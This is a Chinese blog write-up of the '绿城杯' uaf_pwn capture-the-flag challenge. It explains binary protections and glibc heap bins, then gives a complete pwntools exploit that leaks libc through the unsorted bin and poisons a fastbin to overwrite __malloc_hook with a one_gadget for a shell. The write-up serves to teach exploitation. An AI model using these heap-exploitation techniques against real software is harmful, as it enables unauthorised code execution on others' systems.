绿城杯uaf_pwn 分析

绿城杯uaf_pwn 分析

10月11日~10月15日

一、信息收集

RELRO:在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域。 所以在安全防护的角度来说尽量减少可写的存储区域对安全会有极大的好处.GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术: read only relocation。大概实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读。设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。RELRO为“Full RELRO”,对GOT表没有写入权限。

Stack:栈溢出保护,当启用栈保护后,函数开始执行的时候就会向往栈里插入cookie信息,当函数真正返回的时候回验证cookie信息是否合法,若果不合法就会停止程序运行。

NX:全称(NO-execute)不可执行的意思,NX的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常。

PIE:PIE (ASLR) 全称(position-independent exeecutable)。中文为地址无关可执行文件。该技术是一个针对代码段(.text)、数据段(.data)、为初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时变换加载地址,从而不能通过ROPgadget等工具帮助解题。

文件保护检查栈溢出关闭,但本题目与栈溢出无关。

二、逆向分析文件

Main 函数逆向伪码

malloc函数中创建堆块存放到数组中

Python
buffer_array[10];

漏洞存在free功能中没有将指针置零。

文件存在UAF漏洞。

libc对堆块释放的管理

Fast bin 单链表结构,采用LIFO(后进先出) 的分配策略。表里的chunk不会合并,PREV_INUSE 始终为1.在fastbinsY数组里按大小的顺序排列,下标为0的fastbin中容纳chunk的大小 4*SIZE_SZ。随着序号增加,容量chunk递增2 * SIZE_SZ。

unsortedbin 双链表结构,采用FIFO(先进先出)的分配策略。容纳的chunk大小可以不同

small bin 双链表结构,容纳的chunk大小相同。每个small bin的大小为2 * SIZE_SE * idx(下标)。64位系统中最小的small chunk位2x8x2=32字节,最大small chunk为2 x 8 x 63 = 1008字节。

large bin 双链表结构

攻击思路

1.泄漏libc地址

2.计算system函数地址

3.利用UAF漏洞申请到malloc_hook地址空间

3.使用malloc_hook获取getshell

三、攻击细节

运行环境:ubuntu16 libc-2.23_x64.so

Python
from pwn import *
import pdb
# -*- coding: utf-8 -*-


debug = 1
if (debug):
p = process("./uaf_pwn")
else:
p = remote('node4.buuoj.cn', 25403)



libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")




def malloc(size):
p.recvuntil(">")
p.sendline("1")
p.recvuntil("size>")
p.sendline(str(size))



def free(idx):
# p.recvuntil(">")
p.sendline("2")
p.recvuntil("index>")
p.sendline(str(idx))



def fill(idx,payload):
p.recvuntil(">")
p.sendline("3")
p.recvuntil("index>")
p.sendline(str(idx))
p.recvuntil("content>")
p.send(payload)



def show(idx):
p.recvuntil(">")
p.sendline("4")
p.recvuntil("index>")
p.sendline(str(idx))
return p.recv()[:-1]



malloc(0x100) # idx 0 use unsorted_bin get main_arena offset
malloc(0x60) # idx 1
free(0)
leakaddr = show(0)# leak <main_arena + 88>
libc_base = u64(leakaddr+b'\x00'+b'\x00') - 0x3c4b78


print(hex(libc_base))


malloc_hook = libc.symbols['__malloc_hook'] +libc_base
one_gadget = libc_base + 0x4527a
free(1) #idx 1



fill(1,p64(malloc_hook-0x23)) # chunk1_fd = malloc_hook
malloc(0x60) # idx 2 get idx_1's chunk
malloc(0x60) # idx 3
fill(3,b'a'*0x13+p64(one_gadget))


malloc(0x10)


p.interactive()

1.泄漏main_arena地址计算libc_base.

创建大小0x100的堆块 idx-0,随后free堆块 idx-0,因为没有将堆指针置零 所以在释放后还可以继续使用,调用printf功能输出main_arena+88 地址。idx-0 会被libc存放到unsortedbin 链表中。当fastbins表为空闲时 unsortedbin 链表上的fd与bk都会指向main_arena。

计算li bc地址,当前获取了main_arena+88 。当前运行环境为ubuntu16 libc2.23_x64.so库。

使用ida加载libc-2.23_x64.so 搜索malloc_trim函数,对照源码可得 0x3C4B20 是main_arena 的偏移地址。

源码中 malloc_trim 函数

[该类型的内容暂不支持下载]

计算公式为 libc_base = main_arena+88 - 0x3c4b20.

2.使用malloc_hook 方法拿到getshell

这里使用fastbins机制。

利用fastbins 链表中依赖fd查找下一个堆块的机制,申请到malloc_hook的堆块。

向malloc_hook中写入gadget来执行execve函数获取shell。

假设申请两个堆块idx0 idx1 大小为0x40,free掉两个堆块后 存放在fastbins链中,同时fastbins的结构是LIFO,就是最后free的堆块,malloc时最先返回使用。其维护free后堆块的fd指针来维护单链表结构。

malloc(0x40)返回idx1堆块,在malloc的时候,fastbins会根据idx1的fd指针找到idx0,然后删除idx1堆块。如果能修改free掉的idx1中fd指针,把它指向一个想要的地方,那就可以实现任意写了。

本题存在uaf漏洞所以可直接申请0x60大小的堆块,free后调用fill功能修改堆块中fd的指针。将其指向malloc_hook-0x23地址中,连续申请两个堆块idx0,idx1. 此时idx1为malloc_hook 堆空间,调用fill功能写入shellcode到malloc_hook堆空间中。任意创建一个堆块调用malloc函数触发malloc_hook 执行shellocde获取getshell。

完。

参考链接:

libc在线源码查看---所有版本

https://elixir.bootlin.com/glibc/glibc-2.23.90/source/malloc/malloc.c

ge12

 

 

 

关注微信公众号或者可以直接加作者微信:

 

 

 

posted @ 2022-12-31 12:47  syscallwww  阅读(43)  评论(0编辑  收藏  举报